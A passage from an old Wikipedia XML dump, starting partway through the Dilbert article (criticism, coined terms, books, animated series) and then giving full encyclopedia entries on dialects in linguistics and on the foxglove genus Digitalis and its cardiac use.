[[David Noble]] (''Forces of Production'', Oxford 1986) narrated the 1950's cyberstruggle over control of the programming of then-new computerized machine tools with a clear beginning (management introduces tools programmed by back-office Dilberts ignorant of shop floor requirements), middle (union men stand and watch the improperly programmed tools create &quot;scrap at high speed&quot;) and end (management agrees that the union guys should do the programming). Solomon seems humor-challenged in his own book, but the irony in Dilbert, he feels, is a good way of avoiding serious confrontation over the best allocation of workplace control.

[[Peter Drucker]] and [[C. Wright Mills]] both pointed out the paradox on which the strip is based but does not address: Dilbert, Wally, Alice and the rest of the gang are at one and the same time supposed to compete with each other, and produce a collective product. The strip satirizes the victims of this double bind. Solomon's concern is that it reconciles people to their fate, and doesn't show them a way out.

The flaw in some of these criticisms might be the possible assumption on the part of their authors that people would use ''Dilbert'' as a role model, as opposed to merely finding it a one or two minute &quot;funny&quot; on a daily basis.

===Language===
Terms invented by Adams in relation to the strip, and sometimes used by fans in describing their own office environments, include &quot;'''Induhvidual'''&quot;. This term is based on an [[American English]] expression &quot;[[duh]]!&quot;. The conscious misspelling of ''individual'' as ''induhvidual'' is a pejorative term for people who are not in the '''DNRC''' ([[Dogbert's New Ruling Class]]). Its coining is explained in [http://www.unitedmedia.com/comics/dilbert/dnrc/html/newsletter06.html Dilbert Newsletter #6].

The strip has also popularized the usage of the terms &quot;[[cow-orker]]&quot; and [[Pointy Haired Boss|PHB]]. The word &quot;frooglepoopillion&quot; is now occasionally used to describe an extremely large number, after a strip which revealed that the company for which Dilbert worked owed so much money that no name existed to describe the number, so the marketing department was promptly set to work on it, coining &quot;frooglepoopillion&quot;.

Some fans have used &quot;Dilbertian&quot; to analogize situations in real life to those in the comic strip.

===Management===
In 1997 Scott Adams masqueraded as a management consultant to [[Logitech]] executives (as Ray Mebert), with the cooperation of the company's vice-chairman. He acted in much the way he portrays management consultants in the comic strip, with an arrogant manner and bizarre suggestions, such as comparing [[Strategic planning#Mission statements and vision statements|mission statement]]s to [[broccoli]] [[soup]]. He convinced the executives to replace their existing mission statement for their New Ventures Group, &quot;to provide Logitech with profitable growth and related new business areas&quot;, with &quot;to scout profitable growth opportunities in relationships, both internally and externally, in emerging, mission inclusive markets, and explore new paradigms and then filter and communicate and evangelize the findings&quot;.

In order to demonstrate what can be achieved with the most mundane objects if planned correctly and imaginatively, Adams has worked with companies to develop &quot;dream&quot; products for Dilbert and company. In 2001 he collaborated with [[IDEO]], a design company, to come up with the &quot;perfect cubicle&quot;, a fitting creation since many of the Dilbert strips make fun of the standard [[cubicle desk]] and the environment it creates. The result was both whimsical and practical.

This project was followed in 2004 with designs for Dilbert's Ultimate House (abbreviated as DUH). An energy-efficient building resulted, designed to prevent many of the little niggles which seem to creep into a normal building. For instance, to spare time from having to buy and decorate a [[Christmas tree]] every year, the house has a large yet inapparent closet adjacent to the living room where the tree can be stored for later holiday seasons.

==Media==

===Comic Strips===
Books in '''bold''' indicate special compilations or original strips.

# '''''Build a Better Life By Stealing Office Supplies'''''
# '''''[[Dogbert's Clues for the Clueless]]'''''
# ''[[Always Postpone Meetings with Time-Wasting Morons]]''
# ''[[Shave the Whales]]''
# ''Bring Me the Head of Willy the Mailboy!'' — [[August 5]], [[1990]] to [[May 18]], [[1991]]
# ''It's Obvious You Won't Survive By Your Wits Alone'' — [[May 19]], [[1991]] to [[December 13]], [[1992]]
# ''[[Still Pumped from Using the Mouse]]''
# ''[[Fugitive From the Cubicle Police]]''
# ''[[Casual Day Has Gone Too Far]]''
# '''''Seven Years of Highly Defective People''''' — [[1997]]; Strips from 1989 — 1995, with handwritten notes by Scott Adams
# ''[[I'm Not Anti-Business, I'm Anti-Idiot]]''
# ''[[Journey to Cubeville]]''
# ''[[Don't Step in the Leadership]]''
# '''''Dilbert Gives You the Business'''''
# ''[[Random Acts of Management]]''
# '''''A Treasury of Sunday Strips: Version 00''''' — 1999; Color version of all Sunday strips from 1995–1999
# ''[[Excuse Me While I Wag]]''
# ''[[When Did Ignorance Become A Point Of View?]]''
# ''[[Another Day In Cubicle Paradise]]''
# '''''What Do You Call A Sociopath In A Cubicle? Answer: A Coworker'''''
# ''[[When Body Language Goes Bad]]''
# ''[[Words You Don't Want to Hear During Your Annual Performance Review]]''
# ''[[Don't Stand Where the Comet is Assumed to Strike Oil]]''
# '''''It's Not Funny If I Have To Explain It''''' — 2004; strips from 1997–2004, with more of Adams' handwritten notes
# ''[[The Fluorescent Light Glistens Off Your Head]]''
# ''[[Thriving on Vague Objectives]]''

===Business books===

* ''[[The Dilbert Principle]]''
* ''[[Dogbert's Top Secret Management Handbook]]''
* ''[[The Dilbert Future]]''
* ''[[The Joy of Work]]''
* ''[[Dilbert and the Way of the Weasel]]''

===Other===

*''Telling It Like It Isn't'' &amp;mdash; [[1996]]; ISBN 0-8362-1324-6
*''Work is a Contact Sport'' &amp;mdash; [[1997]]; ISBN 0-8362-2878-2
*''Random Acts of Catness'' &amp;mdash; [[1998]]; ISBN 0-8362-5277-2
*''Work&amp;mdash;The Wally Way'' &amp;mdash; [[1999]]; ISBN 0-8362-7480-6
*''Alice in Blunderland'' &amp;mdash; [[1999]]; ISBN 0-8362-7479-2
*''The Boss: Nameless, Blameless and Shameless''
*''You Don't Need Experience If You've Got Attitude''
*''Access Denied : Dilbert's Quest for Love in the Nineties''
*''Conversations With Dogbert''
*''The Dilbert Bunch''

===Merchandise===

* ''Corporate Shuffle'' by [[Richard Garfield]] &amp;mdash; [[1997]]; A Dilbert-branded card game similar to Wizard of the Coast's ''The Great Dalmuti'' and the drinking game [[President (game)|President]]
* The [[Dilberito]], a [[burrito]] with 100% Daily Value of 23 vitamins and minerals

===Animated series===
{{seealso|List of Dilbert animated series episodes}}

&lt;!-- Unsourced image removed: [[Image:Dilbert.jpg|thumb|200px|Dilbert Title Card]] --&gt;
&lt;!-- Unsourced image removed: [[Image:Dogbert Swing.jpg|thumb|200px|Title Scene Intro]] --&gt;
&lt;!-- Unsourced image removed: [[Image:The Gruntmaster 6000.jpg|thumb|200px|The Gruntmaster 6000]] --&gt;
An animated series spinoff was started on [[January 25]], [[1999]]; it lasted two seasons on [[UPN]] before its cancellation. The first season centered around the creation of a new product, the &quot;Gruntmaster 6000&quot;: episodes one through three involved the idea process, (''[[The Name (Dilbert episode)|The Name]]'', ''[[The Prototype (Dilbert episode)|The Prototype]]'', and ''[[The Competition (Dilbert_episode)|The Competiton]]'' respectively); the fourth (''[[Testing (Dilbert episode)|Testing]]'') involved having it survive &quot;Bob Bastard&quot;, and the fifth (''[[Elbonian Trip (Dilbert episode)|Elbonian Trip]]'') was about production in the famine-stricken fourth-world country of [[Elbonia]]. The product was finally tested by an incredibly stupid family in Squiddler's Patch, [[Texas]], in the thirteenth and final episode of the season, ''[[Infomercial (Dilbert episode)|Infomercial]]'', even though it had not been tested in a lab beforehand.

The second season ran featured seventeen episodes, bringing the total number of episodes to thirty. Unlike the first season, the episodes were not part of a larger [[story arc]] and had a different storyline for each of the episodes (with the exception of episodes 29 and 30, ''[[Pregnancy (Dilbert episode)|Pregnancy]]'' and ''[[The Delivery (Dilbert episode)|The Delivery]]''). Elbonia was revisited once more in ''[[Hunger (Dilbert episode)|Hunger]]'', Dogbert still managed to scam people in ''[[Art (Dilbert episode)|Art]]'', Dilbert was accused of mass murder in ''[[The Trial (Dilbert episode)|The Trial]]'', and Wally gets his own disciples in episode 16, ''[[The Shroud of Wally (Dilbert episode)|The Shroud of Wally]]''.

The entire run of the ''Dilbert'' animated series was made available on DVD on [[January 27]], [[2004]]. The DVD box set retails at $49.95 and includes some special features including trailers and clip complations with commentary by [[Scott Adams]], executive producer [[Larry Charles]], and voice actors [[Chris Elliot]], [[Larry Miller (actor)|Larry Miller]], [[Kathy Griffin]], and [[Gordon Hunt]].

The theme music, ''The Dilbert Zone'', was written by [[Danny Elfman]].

====Voice actors====
*[[Daniel Stern (actor)|Daniel Stern]] as [[Dilbert (character)|Dilbert]]
*[[Kathy Griffin]] as [[Alice (Dilbert character)|Alice]]
*[[Gordon Hunt (Director)|Gordon Hunt]] as [[Wally (Dilbert character)|Wally]]
*[[Chris Elliot]] as [[Dogbert]]
*[[Larry Miller (actor)|Larry Miller]] as the [[Pointy-Haired Boss]]
*[[Tom Kenny]] as [[Ratbert]] and [[Asok (Dilbert character)|Asok]]
*[[Jason Alexander]] as [[Catbert]]
*[[Tress MacNeille]] as [[List of minor characters in Dilbert|Carol]]
*[[Jim Wise]] as [[List of minor characters in Dilbert|Loud Howard]]
*[[Buck Henry]] as Dilbert's Dad

==See also==
*[[The Dilbert Principle]]
*[[Peter Principle]], the opposite of the Dilbert Principle
*[[Plop: The Hairless Elbonian]]'', a Dilbert spin-off strip
*[[Microserfs]]'', a book about [[Microsoft]] employees

==External links==
{{wikiquote}}

===Official sites===
*[http://www.dilbert.com Official Dilbert website]
*[http://www.dreamworksgames.com/Games/dilbert/ Website for ''Dilbert's Desktop Games'', by DreamWorks Interactive]
*[http://www.dilbert.com/comics/dilbert/duh/ Dilbert's Ultimate House (DUH)]

===Unofficial sites===
*[http://www.reuben.org/ncs/awards2.asp National Cartoonists' Society awards page]
*[http://www.triviaasylum.com/dilbert/diltriv.html Complete list of Dilbert characters]
*[http://www.logophilia.com/WordSpy/induhvidual.asp A detailed treatment of the word &quot;Induhvidual&quot;]
*[http://www.bfmartin.ca/finder/ Searchable archive of text from Dilbert strips]
*[http://www.mit.edu/~jcb/humor/scott-adams-mgmt-consultant Dilbert Creator Fools Executives]
*[http://www.calendarstop.net/Dilbert-by-Scott-Adams--2006-Daily-Boxed-Calendar.html Dilbert Calendars]
*[http://home.pcisys.net/~tbc/hacks/knack.htm The Knack]
*{{imdbtitle|0118984|Dilbert}}
*[http://www.tv.com/dilbert/show/940/summary.html?q=dilbert Dilbert at TV.com]

[[Category:Dilbert|*]]
[[Category:Comic strips]]
[[Category:Animated television series]]
[[Category:Television programs based on comic strips]]
[[Category:Comics characters]]
[[Category:Fictional engineers]]
[[Category:Fictional businesspeople]]
[[Category:UPN network shows]]
[[Category:Workplace webcomics]]

[[ca:Dilbert]]
[[da:Dilbert]]
[[de:Dilbert]]
[[es:Dilbert]]
[[fr:Dilbert]]
[[it:Dilbert]]
[[he:דילברט]]
[[ja:ディルバート]]
[[nl:Dilbert]]
[[no:Dilbert]]
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[[zh:呆伯特]]</text>
    </revision>
  </page>
  <page>
    <title>Dialect</title>
    <id>8128</id>
    <revision>
      <id>41913316</id>
      <timestamp>2006-03-02T16:01:47Z</timestamp>
      <contributor>
        <ip>81.158.206.145</ip>
      </contributor>
      <text xml:space="preserve">A '''dialect''' (from the [[Greek language|Greek]] word διάλεκτος, ''dialektos'') is a [[variety (linguistics)|variety]] of a [[language]] used by people from a particular geographic area. The number of speakers, and the area itself, can be of [[wiktionary:arbitrary|arbitrary]] size. It follows that a dialect for a larger area can contain plenty of (sub-) dialects, which in turn can contain dialects of yet smaller areas, etc.

A dialect is a complete system of verbal communication (oral or [[sign language|signed]] but not necessarily written) with its own [[vocabulary]] and/or [[grammar]]. 

The concept of dialects can &lt;!-- most importantly --&gt; be distinguished from:—
* [[sociolect]]s, which are a variety of a language spoken by a certain [[social class]],
* [[standard language]]s, which are standardized for public performance (e.g. written standard),
* [[jargon]]s, &lt;!-- including [[slang]] --&gt; which are characterized by differences in [[vocabulary]] (or [[lexicon]] according to linguist jargon), and
* [[slang]].

Varieties of language such as dialects, [[idiolect]]s and sociolects can be distinguished not only by their vocabulary and grammar, but also by differences in [[phonology]] (including [[prosody (linguistics)|prosody]]). If the distinctions are limited to phonology, one often uses the term ''[[accent (linguistics)|accent]] of a variety'' instead of ''variety'' or ''dialect.'' 

== Standard and non-standard dialects ==
A '''standard dialect''' (also known as a '''standardized dialect''' or &quot;[[standard language]]&quot;) is a dialect that is supported by institutions. Such institutional support may include government recognition or designation; presentation as being the &quot;correct&quot; form of a language in schools; published grammars, dictionaries, and textbooks that set forth a &quot;correct&quot; spoken and written form; and an extensive formal literature that employs that dialect (prose, poetry, nonfiction, etc.). There may be multiple standard dialects associated with a language. For example, Standard [[American English]], Standard [[British English]], and Standard [[Indian English]] may all be said to be standard dialects of the [[English language]].

A [[nonstandard dialect]], like a standard dialect, has a complete vocabulary, grammar, and syntax, but is not the beneficiary of institutional support. &lt;!-- no good example, rather a border case: For example, [[African-American Vernacular English]] may be said to be a nonstandard dialect of the English language. --&gt;

== &quot;Dialect&quot; or &quot;language&quot; ==

There are no universally accepted criteria for distinguishing ''languages'' from ''dialects'', although a number of paradigms exist, which render sometimes contradictory results.  The exact distinction is therefore a subjective one, dependent on the user's frame of reference.

[[Variety (linguistics)|Language varieties]] are often called ''dialects'' rather than ''languages''
* solely because they are not (or not recognized as) [[literary language]]s, 
* because the speakers of the given language do not have a [[state]] of their own, 
* or because their language lacks [[prestige (sociology)|prestige]].

The term ''[[idiom (subsystem of language)|idiom]]'' is used by some linguists instead of ''language'' or ''dialect'' when there is no need to commit oneself to any decision on the status  with respect to this distinction.

[[Anthropology|Anthropological]] linguists define dialect as the specific form of a language used by a [[speech community]].  In other words, the difference between language and dialect is the difference between the abstract or general and the concrete and particular.  From this perspective, no one speaks a &quot;language,&quot; everyone speaks a dialect of a language.  Those who identify a particular dialect as the &quot;[[standard language|standard]]&quot; or &quot;proper&quot; version of a language are in fact using these terms to express a social distinction.

Often, the standard language is close to the sociolect of the [[elite]] class.

In groups where prestige standards play less important roles, ''&quot;dialect&quot;'' may simply be used to refer to subtle regional variations in linguistic practices that are considered mutually intelligible, playing an important role to place strangers, carrying the message of wherefrom a stranger originates (which quarter or district in a town, which village in a rural setting, or which province of a country); thus there are many apparent &quot;dialects&quot; of [[Slavey language|Slavey]], for example, geographically widespread North American indigenous languages, by which the linguist simply means that there are many subtle variations among speakers who largely understand each other and recognize that they are each speaking &quot;the same way&quot; in a general sense.

Modern day linguistics knows that the [[Social status|status]] of language is not solely determined by linguistic criteria, but it is also the result of a historical and political development. [[Romansh]] came to be a written language, and therefore it is recognized as a language, even though it is very close to the Lombardic alpine dialects.  An opposite example is the case of the [[Chinese language]] whose variations are often considered dialects and not languages despite their mutual unintelligibility because they share a common literary standard and common body of literature.

The [[Yiddish language|Yiddish]] linguist [[Max Weinreich]] published the expression, &quot;A shprakh iz a dialekt mit an armey un flot&quot; (&quot;אַ שפראַך איז אַ דיאַלעקט מיט אַן אַרמײ און פֿלאָט&quot;, &quot;A language is a dialect with an army and navy&quot;; in ''Yivo-bleter'' 25.1, 1945, p.&amp;nbsp;13), illustrating the fact that languages are created by [[cultural assimilation|assimilation]]. This is perhaps the most widely cited statement of an analogy that has been attributed to other authors. (Weinreich explicitly states that he did not coin it.)  It has been suggested that the initial wording was provided by [[Hubert Lyautey]] as, &quot;Une langue, c'est un dialecte qui possède une armée, une marine et une aviation.&quot; (&quot;A language is a dialect with an army, a navy and an air force.&quot; ). A separate article discusses the origin of the [[Language-dialect aphorism|language-dialect aphorism]] in greater detail.

=== Political factors ===

Depending on political realities and ideologies, the classification of speech varieties as dialects or languages and their relationship to other varieties of speech can be controversial and the verdicts inconsistent.  [[English language|English]] and [[Serbo-Croatian language|Serbo-Croatian]] illustrate the point.  English and Serbo-Croatian each have two major variants ([[British English|British]] and [[American English|American]] English, and [[Serbian language|Serbian]] and [[Croatian language|Croatian,]] respectively), along with numerous lesser varieties.   For political reasons, analyzing these varieties as &quot;languages&quot; or &quot;dialects&quot; yields inconsistent results:  British and American English, spoken by close political and military allies, are almost universally regarded as dialects of a single language, whereas the standard languages of [[Serbia]] and [[Croatia]], which differ from each other to a similar extent as the dialects of English, are being treated by many linguists from the region as distinct languages, largely because the two countries oscillate from being brotherly to being bitter enemies. ''The [[Serbo-Croatian language]] article deals with this topic much more fully.''

Parallel examples abound.  [[Macedonian language|Macedonian]], although mutually intelligible with [[Bulgarian language|Bulgarian]] and often considered to be a Bulgarian dialect, is touted in [[Republic of Macedonia]] as a language in its own right.  In [[Lebanon]], the right-wing [[Guardians of the Cedars]], a fiercely nationalistic (mainly Christian) political party which opposes the country's ties to the [[Arab]] world, is agitating for [[Lebanese language|&quot;Lebanese&quot;]] to be recognized as a distinct language from [[Arabic language|Arabic]] and not merely a dialect, and has even advocated replacing the [[Arabic alphabet]] with a revival of the ancient [[Phoenician alphabet]].

There have been cases of a variety of speech being deliberately altered to serve political purposes.  One example is [[Moldovan language|Moldovan]].  No such language existed before [[1945]], and most non-Moldovan linguists remain sceptical about its classification.  After the [[Soviet Union]] annexed the [[Romania|Romanian]] province of [[Bessarabia]] and renamed it [[Moldavia]], [[Romanian language|Romanian,]] a [[Romance language]], the [[Cyrillic alphabet]] was restored and numerous [[Slavic languages|Slavic]] words were imported into the language, in an attempt to weaken any sense of shared national identity with Romania.  After Moldavia won its independence in [[1991]] (and changed its name to [[Moldova]]), it reverted to a modified [[Latin alphabet]] as a rejection of the perceived political connotations of the Cyrillic alphabet.  In [[1996]], however, the Moldovan parliament, citing fears of &quot;Romanian expansionism,&quot; rejected a proposal from [[President of Moldova|President]] [[Mircea Snegur]] to change the name of the language back to Romanian, and in [[2003]] a Romanian-Moldovan [[dictionary]] was published, purporting to show that the two countries speak different languages.  Linguists of the [[Romanian Academy]] reacted by declaring that all the Moldovan words were also Romanian words; while in Moldova, the head of the [[Academy of Sciences' Institute of Linguistics (Moldova)|Academy of Sciences' Institute of Linguistics]], [[Ion Bărbuţă]], described the dictionary as a politically motivated &quot;absurdity&quot;.

In contrast, [[spoken languages of China|spoken languages]] of [[Han Chinese]] are usually referred as dialects of one Chinese language, to promote national unity. ''The article &quot;[[Chinese_language#Language_or_language_family.3F|Is Chinese a language or a family of languages?]]&quot; has more details''.

The significance of the political factors in any attempt at answering the question &quot;what is a language? is great enough to cast doubt on whether any strictly linguistic definition, without a socio-cultural approach, is possible. This is illustrated by the frequency with which the [[Language-dialect aphorism|army-navy aphorism]] discussed at the end of the preceding section is cited.

=== The historical linguistics point of view ===

Many [[historical linguistics|historical linguists]] view every speech form as a dialect of the older medium of communication from which it developed.  This point of view sees the modern [[Romance languages]] as dialects of [[Latin]], modern [[Greek language|Greek]] as a dialect of ancient Greek, and [[Tok Pisin]] as a dialect of English.  This paradigm is not entirely problem-free.  It sees genetic relationships as paramount; the &quot;dialects&quot; of a &quot;language&quot; (which itself may be a &quot;dialect&quot; of a yet older tongue) may or may not be mutually intelligible.  Moreover, a parent language may spawn several &quot;dialects&quot; which themselves subdivide any number of times, with some &quot;branches&quot; of the tree changing more rapidly than others.  This can give rise to the situation where two dialects (defined according to this paradigm) with a somewhat distant genetic relationship are mutually more readily comprehensible than more closely related dialects.  This pattern is clearly present among the modern Romance tongues, with [[Italian language|Italian]] and [[Spanish language|Spanish]] having a high degree of mutual comprehensibility, which neither language shares with [[French language|French]], despite both languages being ''genetically'' closer to French than to each other: French has undergone more rapid change than have Spanish and Italian.

== Concepts in dialectology ==
Concepts in dialectology include:

===Mutual intelligibility===

Some have attempted to distinguish dialects from languages by saying that dialects are [[mutually intelligible languages|mutually comprehensible]] while languages are not. But this concept may not be as clear-cut as it may at first seem. [[Italian language|Italian]] speakers and [[Spanish language|Spanish]] speakers, for example, may be able to understand a considerable proportion of each other's closely-related Romance languages, whereas [[Lombard]]s and [[Sicily|Sicilians]], speaking what are described as dialects of the same language, may encounter considerable barriers to mutual comprehension.

===Diglossia===

Another problem occurs in the case of [[diglossia]], used to describe a situation where, in a given society, there are two closely-related languages, one of high-prestige, which is generally used by the government and in formal texts, and one of low-prestige, which is usually the spoken [[vernacular]] tongue.  An example of this is [[sanskrit]], which was considered the proper way to speak in northern India, but only accessible by the upper class, and [[prakrit]] which was the common (and informal or [[slang]]) speech at the time.

===Dialect continuum===

A [[dialect continuum]] is a network of dialects in which geographically adjacent dialects are mutually comprehensible, but with comprehensibility steadily decreasing as distance between the dialects increases. A well-known example is the [[Afrikaans]]-[[Dutch language|Dutch]]-[[Frisian language|Frisian]]-[[German language|German]] dialect continuum, a vast network of dialects with four recognized literary standards. Although standard Dutch and German are not mutually intelligible, a chain of dialects connects them, with no break in intelligibility between any geographically adjacent dialects along the continuum. A network of dialects similarly exists among the [[Eastern Slavic languages]], among which [[Russian language|Russian]], [[Belarusian language|Belarusian]], and [[Ukrainian language|Ukrainian]] are recognized as three literary standards. The [[Serbo-Croatian language]] can also be viewed as a network of four major dialects and three literary standards. The Romance languages -- [[Portuguese language|Portuguese]], Castilian [[Spanish language|Spanish]], [[Catalan language|Catalan]], [[Galician language|Galician]], [[Provençal]], [[French language|French]], [[Occitan]], [[Corsican]], [[Sardinian]], [[Sicilian]], [[Romansh]], [[Friulian]], other [[Italian_Language|Italian]] dialects, [[Romanian language|Romanian]], and others -- form another well-known continuum.

===Diasystem===

A [[diasystem]] refers to a single genetic language which has two or more standard forms. An example is [[Hindi-Urdu]] or [[Hindustani language|Hindustani]], which encompasses two main standard varieties, [[Urdu]] and [[Hindi]].

===Pluricentrism===

A [[pluricentric language]] is a language with several standard versions.

=== The Ausbausprache - Abstandsprache - Dachsprache framework ===

One analytical paradigm developed by professional linguists is known as the  [[Ausbausprache - Abstandsprache - Dachsprache]] framework. It has proved popular among linguists in Continental Europe, but is not so well known in English-speaking countries, especially among people who are not trained linguists.  Although only one of many possible paradigms, it has the advantage of being constructed by trained linguists for the particular purpose of analyzing and categorizing varieties of speech, and has the additional merit of replacing such [[loaded words]] as &quot;language&quot; and &quot;dialect&quot; with the [[German language|German]] terms of [[Ausbausprache]], [[Abstandsprache]], and [[Dachsprache]], words that are not (yet) loaded with political, cultural, or emotional connotations.  It may prove to be a tool helpful for enabling people to see some ancient and poisoned linguistic controversies through a different lens of perception.

== Dialects in English ==

*Northern:
- [u] butler, cut, some, pound
- /ae/ dance, grass, path
- /u:/ cow, down

*Southwestern:
- s-&gt; z (six)

*Welsh:
- /a/ tap,bath

*Irish:
- rhotic 'r'
- monophtongal articulation [e:, o:] take, home

*Scotish:
- rhotic 'r' articulated in all position
- nondistinctive length lad/lard, full/ fod, cot/cought

==Selected list of articles on dialects==

*[[Varieties of Arabic]]
*[[Catalan dialect examples]]
*[[List of Chinese dialects]]
*[[List of dialects of the English language]]
*[[Flemish dialects]]
*[[Dialects of the French language]]
*[[Cypriot dialect]]
*[[Connacht Irish]], [[Munster Irish]], [[Ulster Irish]]
*[[Italian dialects]]
*[[Sicilian language|Sicilian language]]
*[[Japanese dialects]]
*[[Korean dialects]]
*[[Norwegian dialects]]
*[[Gilaki and Mazandarani]] (Persian dialects)
*[[Warsaw dialect]]
*[[Portuguese dialects]]
*[[Dialects in Serbia, Croatia and Bosnia]]
*[[Slovenian dialects]]
*[[Spanish dialects and varieties]]
*[[Swedish dialects in Ostrobothnia]]
*[[Bergensk]], used in [[Bergen, Norway]]

==See also==
*[[Accent (linguistics)|Accent]]
*[[Ethnolect]]
*[[Isogloss]]
*[[Prestige dialect]]
*[[Diglossia]]
*[[Programming language dialect]]
*[[Dialect continuum]]
*[[Sprachbund]]

==External links==
* [http://www.terralingua.org/Definitions/DLangDialect.html Language or dialect?] (Terralingua)
* [http://www.ericdigests.org/pre-9215/arts.htm Incorporating Dialect Study into the Language Arts Class]
* [http://www.ericdigests.org/1997-4/dialects.htm Vernacular Dialects in U.S. Schools]
* [http://www.theverybestofstuff.de/contents/dialectology.html Fishermen's Dialect on the South-East Coast of Scotland.]

[[Category:Language varieties and styles]]

&lt;!-- interwiki --&gt;

[[als:Dialekt]]
[[bg:Диалект]]
[[br:Rannyezh]]
[[ca:Dialecte]]
[[cv:Диалект]]
[[da:Dialekt]]
[[de:Dialekt]]
[[et:Murre]]
[[es:Dialecto]]
[[eo:Dialekto]]
[[fr:Dialecte]]
[[fy:Dialekt]]
[[gl:Dialecto]]
[[ko:방언]]
[[hr:Dijalekt]]
[[io:Dialekto]]
[[id:Dialek]]
[[he:ניב]]
[[li:Dialek]]
[[hu:Nyelvjárás]]
[[nl:Dialect]]
[[ja:方言]]
[[no:Dialekt]]
[[nn:Målføre]]
[[pl:Dialekt]]
[[pt:Dialeto]]
[[ro:Dialect]]
[[ru:Диалект]]
[[sq:Dialekti]]
[[sk:Dialekt]]
[[sr:Дијалект]]
[[fi:Murre]]
[[sv:Dialekt]]
[[tt:Söyläm]]
[[uk:Діалект]]
[[zh:方言]]</text>
    </revision>
  </page>
  <page>
    <title>Digitalis</title>
    <id>8129</id>
    <revision>
      <id>41602102</id>
      <timestamp>2006-02-28T12:38:56Z</timestamp>
      <contributor>
        <username>Unyoyega</username>
        <id>460372</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: de, nl</comment>
      <text xml:space="preserve">:''For the medication sometimes called &quot;Digitalis&quot;, see [[Digoxin]].''
{{Taxobox
| color = lightgreen
| name = ''Digitalis''
| image = Digitalis purpurea2.jpg
| image_width = 240px
| image_caption = ''Digitalis purpurea'' (Common Foxglove)
| regnum = [[Plantae]]
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Magnoliopsida]]
| ordo = [[Lamiales]]
| familia = [[Plantaginaceae]]
| genus = '''''Digitalis'''''
| genus_authority = [[Carolus Linnaeus|L.]]
| subdivision_ranks = Species
| subdivision = 
About 20 species, including:&lt;br/&gt;
''[[Digitalis ciliata]]''&lt;br/&gt;
''[[Digitalis davisiana]]''&lt;br/&gt;
''[[Digitalis dubia]]''&lt;br/&gt;
''[[Digitalis ferruginea]]''&lt;br/&gt;
''[[Digitalis grandiflora]]''&lt;br/&gt;
''[[Digitalis laevigata]]''&lt;br/&gt;
''[[Digitalis lanata]]''&lt;br/&gt;
''[[Digitalis lutea]]''&lt;br/&gt;
''[[Digitalis obscura]]''&lt;br/&gt;
''[[Digitalis parviflora]]''&lt;br/&gt;
''[[Digitalis purpurea]]''&lt;br/&gt;
''[[Digitalis thapsi]]''&lt;br/&gt;
''[[Digitalis viridiflora]]''
}}

'''''Digitalis''''' is a genus of about 20 species of [[herb]]aceous biennials, perennials and shrubs that was traditionally placed in the figwort family [[Scrophulariaceae]]. Due to new genetic research, it has now been placed in the much enlarged family [[Plantaginaceae]].

The term '''digitalis''' is also used for preparations containing [[cardiac glycoside]]s, particularly [[digoxin]], extracted from plants of this genus.

==General description==
The members of this genus are known in English as '''foxgloves'''. They are native to [[Europe]], northwest [[Africa]] and west and central [[Asia]]. The scientific name means &quot;finger&quot;, and refers to the ease which a [[flower]] of ''Digitalis purpurea'' can be fitted over a human fingertip. &quot;Foxglove&quot; has a similar origin, seen as a suitable glove for a [[fox]] paw.

The flowers are produced on a tall spike, are tubular, and vary in colour with species, from purple to pink, white and yellow.

The best-known species is the [[Common Foxglove]], ''Digitalis purpurea''. It is a biennial, often grown as an [[ornamental plant]] due to its [[violet (color)|violet]] [[flower]]s. The first year of growth produces only the long, basal leaves, while in the second year the erect leafy stem 0.5-2.5 m tall develops.

The [[larva]]e of the [[Foxglove Pug]] feed on the flowers of ''Digitalis purpurea''. Other [[Lepidoptera]] species feed on the leaves including [[Lesser Yellow Underwing]].

== Medicinal use ==
The use of ''[[Digitalis purpurea]]'' extract containing [[cardiac glycoside]]s for the treatment of [[heart]] conditions was first described by [[William Withering]]. In contemporary [[medicine]], a purer form of digitalis is used to strengthen cardiac contractility (it is a positive [[inotrope]]) and as an [[antiarrhythmic agent]] to regulate heart rhythm. It is therefore often prescribed for patients in [[heart failure]].

A group of pharmacologically active compounds are extracted mostly from the leaves of the second year's growth, and in pure form are referred to by common chemical names such as '''''[[digitoxin]]''''' or '''''[[digoxin]]''''', or by brand names such as ''Lanoxin'', or ''Purgoxin''.

Digitalis works by inhibiting [[sodium-potassium ATPase]], which increases intracellular [[calcium]]. The increased intracellular calcium gives a positive inotropic effect.
It also has a vagal effect on the [[parasympathetic nervous system]], and as such is used in reentrant [[cardiac arrhythmia]]s and to slow the ventricular rate during [[atrial fibrillation]]. The dependence on the vagal effect means that digitalis is not effective when a patient has a high [[sympathetic nervous system]] drive, which is the case with acutely ill persons.

Digitalis toxicity (''Digitalis intoxication'') results from an overdose of digitalis and can result in jaundiced (yellow) vision and the appearance of blurred outlines (halos), as well as [[bradycardia]] in extreme cases. Because a frequent side effect of digitalis is reduction of appetite, some individuals have abused the drug as a weight loss aid.

Digitalis is a classic example of a drug derived from a plant formerly used by folklorists and herbalists: herbalists have largely abandoned its use because of its narrow [[therapeutic index]] and the difficulty of determining the amount of active drug in herbal preparations.  Once the usefulness of digitalis in regulating pulse was understood, it was employed for a variety of purposes, including the treatment of [[epilepsy]] and other seizure disorders, now considered inappropriate.

==Media==
&lt;gallery&gt;
Image:Digitalis ciliata0.jpg|Digitalis ciliata
Image:Wasp_and_her_Yellow_Flower.jpg|Digitalis grandiflora
Image:Digitalis_lutea_100705.jpg|Digitalis lutea
Image:Digitalis_purpurea_Koehler_drawing.jpg|Digitalis purpurea drawings by [[Franz Köhler]]
Image:Digitalis_purpurea.jpg|Digitalis purpurea
Image:Foxglove2.jpg|Digitalis purpurea
Image:Digitalis-stora_hultrum.sweden-22.jpg|Digitalis purpurea
Image:Digitalis-stora_hultrum.sweden-21.jpg|''Digitalis purpurea'' var. ''alba''
Image:Wild_Foxglove_Flaam_Norway.jpg|A wild ''Digitalis sp.'' flower spike beside a Norwegian fjord
&lt;/gallery&gt;

==External links==
* [http://www.bris.ac.uk/Depts/Chemistry/MOTM/digitalis/digtalis.htm Molecule of the Month - Digitalis]
* [http://www.emedicine.com/PED/topic590.htm eMedicine link]

{{Commons|Digitalis}}

[[Category:Antiarrhythmic agents]]
[[Category:Medicinal herbs and fungi]]
[[Category:Plantaginaceae]]

[[de:Fingerhut (Pflanze)]]
[[es:Digitalis]]
[[eo:Digitalo]]
[[fr:Digitale]]
[[it:Digitalis]]
[[nl:Vingerhoedskruid (geslacht)]]
[[ja:ジギタリス]]</text>
    </revision>
  </page>
